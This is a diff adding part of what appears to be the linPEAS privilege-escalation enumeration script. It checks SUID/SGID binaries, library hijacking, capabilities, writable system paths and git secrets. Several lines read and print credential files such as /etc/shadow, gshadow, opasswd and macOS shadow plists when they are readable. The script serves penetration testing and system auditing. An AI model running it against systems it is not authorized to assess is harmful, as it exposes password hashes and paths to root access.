+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".sudo_as_admin_successful"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo "";
+fi
+
+
+if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
+ print_2title "Checking leaks in git repositories"
+ printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
+ if echo "$f" | grep -Eq ".git$"; then
+ git_dirname=$(dirname "$f")
+ if [ "$MACPEAS" ]; then
+ execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
+ else
+ execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
+ fi
+ fi
+ done
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q interesting_perms_files; then
+print_title "Files with Interesting Permissions"
+###########################################
+#-) Files with Interesting Permissions (-#
+###########################################
+
+check_critial_root_path(){
+ folder_path="$1"
+ if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
+ if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
+ if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
+}
+
+
+
+
+##-- IPF) SUID
+print_2title "SUID - Check easy privesc, exploits and write perms"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
+if ! [ "$STRINGS" ]; then
+ echo_not_found "strings"
+fi
+if ! [ "$STRACE" ]; then
+ echo_not_found "strace"
+fi
+suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
+for s in $suids_files; do
+ s=$(ls -lahtr "$s")
+ # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
+ if echo "$s" | grep -qE "^total"; then break; fi
+
+ sname="$(echo $s | awk '{print $9}')"
+ if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
+ true # Don't do nothing
+ elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
+ echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
+ elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
+ echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else
+ c="a"
+ for b in $sidB; do
+ if echo $s | grep -q $(echo $b | cut -d % -f 1); then
+ echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
+ c=""
+ break;
+ fi
+ done;
+ if [ "$c" ]; then
+ if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
+ echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
+ else
+ echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
+ printf $ITALIC
+ if ! [ "$FAST" ]; then
+
+ if [ "$STRINGS" ]; then
+ $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
+ sline_first="$(echo "$sline" | cut -d ' ' -f1)"
+ if echo "$sline_first" | grep -qEv "$cfuncs"; then
+ if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
+ if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
+ fi
+ else #If not a path
+ if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then # Check if existing binary
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
+ fi
+ fi
+ fi
+ done
+ fi
+
+ if [ "$LDD" ] || [ "$READELF" ]; then
+ echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
+ fi
+ if [ "$LDD" ]; then
+ "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+ if [ "$READELF" ]; then
+ "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+
+ if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
+ printf $ITALIC
+ echo "----------------------------------------------------------------------------------------"
+ echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
+ OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
+ export LD_LIBRARY_PATH=""
+ timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
+ printf $NC
+ export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
+ echo "----------------------------------------------------------------------------------------"
+ echo ""
+ fi
+
+ fi
+ fi
+ fi
+ fi
+done;
+echo ""
+
+
+##-- IPF) SGID
+print_2title "SGID"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
+sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
+for s in $sgids_files; do
+ s=$(ls -lahtr "$s")
+ # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
+ if echo "$s" | grep -qE "^total";then break; fi
+
+ sname="$(echo $s | awk '{print $9}')"
+ if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
+ true #Don't do nothing
+ elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
+ echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
+ elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
+ echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else
+ c="a"
+ for b in $sidB; do
+ if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
+ echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
+ c=""
+ break;
+ fi
+ done;
+ if [ "$c" ]; then
+ if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
+ echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
+ else
+ echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
+ printf $ITALIC
+ if ! [ "$FAST" ]; then
+
+ if [ "$STRINGS" ]; then
+ $STRINGS "$sname" | sort | uniq | while read sline; do
+ sline_first="$(echo $sline | cut -d ' ' -f1)"
+ if echo "$sline_first" | grep -qEv "$cfuncs"; then
+ if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
+ if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
+ fi
+ else # If not a path
+ if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then # Check if existing binary
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
+ fi
+ fi
+ fi
+ done
+ fi
+
+ if [ "$LDD" ] || [ "$READELF" ]; then
+ echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
+ fi
+ if [ "$LDD" ]; then
+ "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+ if [ "$READELF" ]; then
+ "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+
+ if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
+ printf "$ITALIC"
+ echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
+ timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
+ printf "$NC"
+ echo ""
+ fi
+
+ fi
+ fi
+ fi
+ fi
+done;
+echo ""
+
+##-- IPF) Misconfigured ld.so
+if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
+ print_2title "Checking misconfigurations of ld.so"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
+ if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
+ echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
+ else
+ printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
+ fi
+
+ echo "Content of /etc/ld.so.conf:"
+ cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+
+ # Check each configured folder
+ cat /etc/ld.so.conf 2>/dev/null | while read l; do
+ if echo "$l" | grep -q include; then
+ ini_path=$(echo "$l" | cut -d " " -f 2)
+ fpath=$(dirname "$ini_path")
+
+ if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
+ echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
+ else
+ printf $GREEN$ITALIC"$fpath\n"$NC;
+ fi
+
+ if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
+ echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ fi
+
+ for f in $fpath/*; do
+ if [ -w "$f" ]; then
+ echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED_YELLOW$ITALIC"$f\n"$NC;
+ else
+ printf $GREEN$ITALIC" $f\n"$NC;
+ fi
+
+ cat "$f" | grep -v "^#" | while read l2; do
+ if [ -f "$l2" ] && [ -w "$l2" ]; then
+ echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
+ else
+ echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
+ fi
+ done
+ done
+ fi
+ done
+ echo ""
+
+
+ if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
+ echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ else
+ printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
+ fi
+ cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ cat /etc/ld.so.preload 2>/dev/null | while read l; do
+ if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
+ done
+
+fi
+
+##-- IPF) Capabilities
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Capabilities"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
+ if [ "$(command -v capsh)" ]; then
+
+ print_3title "Current shell capabilities"
+ cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
+ cap_name=$(echo "$cap_line" | awk '{print $1}')
+ cap_value=$(echo "$cap_line" | awk '{print $2}')
+ if [ "$cap_name" = "CapEff:" ]; then
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
+ else
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
+ fi
+ done
+ echo ""
+
+ print_3title "Parent process capabilities"
+ cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
+ cap_name=$(echo "$cap_line" | awk '{print $1}')
+ cap_value=$(echo "$cap_line" | awk '{print $2}')
+ if [ "$cap_name" = "CapEff:" ]; then
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
+ else
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
+ fi
+ done
+ echo ""
+
+ else
+ print_3title "Current shell capabilities"
+ (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
+ echo ""
+
+ print_3title "Parent proc capabilities"
+ (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
+ echo ""
+ fi
+ echo ""
+ echo "Files with capabilities (limited to 50):"
+ getcap -r / 2>/dev/null | head -n 50 | while read cb; do
+ capsVB_vuln=""
+
+ for capVB in $capsVB; do
+ capname="$(echo $capVB | cut -d ':' -f 1)"
+ capbins="$(echo $capVB | cut -d ':' -f 2)"
+ if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
+ echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ capsVB_vuln="1"
+ break
+ fi
+ done
+
+ if ! [ "$capsVB_vuln" ]; then
+ echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
+ fi
+
+ if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
+ echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ done
+ echo ""
+fi
+
+##-- IPF) Users with capabilities
+if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
+ print_2title "Users with capabilities"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
+ if [ -f "/etc/security/capability.conf" ]; then
+ grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+ else echo_not_found "/etc/security/capability.conf"
+ fi
+ echo ""
+fi
+
+##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
+ print_2title "AppArmor binary profiles"
+ ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
+ echo ""
+ fi
+fi
+
+##-- IPF) Files with ACLs
+print_2title "Files with ACLs (limited to 50)"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+else
+ ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+fi
+
+if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
+ ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
+fi
+echo ""
+
+##-- IPF) Files with ResourceFork
+#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
+# print_2title "Files with ResourceFork"
+# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
+# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
+#fi
+#echo ""
+
+##-- IPF) Files (scripts) in /etc/profile.d/
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Files (scripts) in /etc/profile.d/"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
+ if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
+ (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
+ check_critial_root_path "/etc/profile"
+ check_critial_root_path "/etc/profile.d/"
+ fi
+ echo ""
+fi
+
+ ##-- IPF) Files (scripts) in /etc/init.d/
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+print_2title "Permissions in init, init.d, systemd, and rc.d"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
+ if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
+ check_critial_root_path "/etc/init/"
+ check_critial_root_path "/etc/init.d/"
+ check_critial_root_path "/etc/rc.d/init.d"
+ check_critial_root_path "/usr/local/etc/rc.d"
+ check_critial_root_path "/etc/rc.d"
+ check_critial_root_path "/etc/systemd/"
+ check_critial_root_path "/lib/systemd/"
+ fi
+
+ echo ""
+fi
+
+
+
+##-- IPF) Hashes in passwd file
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_list "Hashes inside passwd file? ........... "
+ if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ ##-- IPF) Writable in passwd file
+ print_list "Writable passwd file? ................ "
+ if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else echo_no
+ fi
+
+ ##-- IPF) Credentials in fstab
+ print_list "Credentials in fstab/mtab? ........... "
+ if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ ##-- IPF) Read shadow files
+ print_list "Can I read shadow files? ............. "
+ if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "Can I read shadow plists? ............ "
+ possible_check=""
+ (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
+
+ print_list "Can I write shadow plists? ........... "
+ possible_check=""
+ (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
+
+ ##-- IPF) Read opasswd file
+ print_list "Can I read opasswd file? ............. "
+ if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
+ else echo_no
+ fi
+
+ ##-- IPF) network-scripts
+ print_list "Can I write in network-scripts? ...... "
+ if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else echo_no
+ fi
+
+ ##-- IPF) Read root dir
+ print_list "Can I read root folder? .............. "
+ (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
+ echo ""
+fi
+
+##-- IPF) Root files in home dirs
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching root files in home dirs (limit 30)"
+ (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
+ echo ""
+fi
+
+##-- IPF) Others files in my dirs
+if ! [ "$IAMROOT" ]; then
+ print_2title "Searching folders owned by me containing others files on it (limit 100)"
+ (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
+ echo ""
+fi
+
+##-- IPF) Readable files belonging to root and not world readable
+if ! [ "$IAMROOT" ]; then
+ print_2title "Readable files belonging to root and readable by me but not world readable"
+ (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
+ echo ""
+fi
+
+##-- IPF) Interesting writable files by ownership or all
+if ! [ "$IAMROOT" ]; then
+ print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
+ # In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
+ obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
+ printf "%s\n" "$obmowbe" | while read entry; do
+ if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
+ elif echo "$entry" | grep -qE "$writeVB"; then
+ echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
+ else
+ echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
+ fi
+ done
+ echo ""
+fi
+
+##-- IPF) Interesting writable files by group
+if ! [ "$IAMROOT" ]; then
+ print_2title "Interesting GROUP writable files (not in Home) (max 500)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
+ for g in $(groups); do
+ iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
+ if [ "$iwfbg" ] || [ "$DEBUG" ]; then
+ printf " Group $GREEN$g:\n$NC";
+ printf "%s\n" "$iwfbg" | while read entry; do
+ if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
+ elif echo "$entry" | grep -Eq "$writeVB"; then
+ echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
+ else
+ echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
+ fi
+ done
+ fi
+ done
+ echo ""
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q interesting_files; then
+print_title "Other Interesting Files"
+###########################################
+#----------) Interesting files (----------#
+###########################################
+
+
+##-- IF) .sh files in PATH
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title ".sh files in path"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
+ echo $PATH | tr ":" "\n" | while read d; do
+ for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
+ if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
+ echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
+ elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then # If write permision, win found (no check exploits)
+ echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else
+ echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
+ fi
+ done
+ done
+ echo ""
+
+ broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
+ if [ "$broken_links" ] || [ "$DEBUG" ]; then
+ print_2title "Broken links in path"
+ echo $PATH | tr ":" "\n" | while read d; do
+ find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
+ done
+ echo ""
+ fi
+fi
+
+##-- IF) Date times inside firmware
+if [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Files datetimes inside the firmware (limit 50)"
+ find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
+ echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
+ echo ""
+fi
+
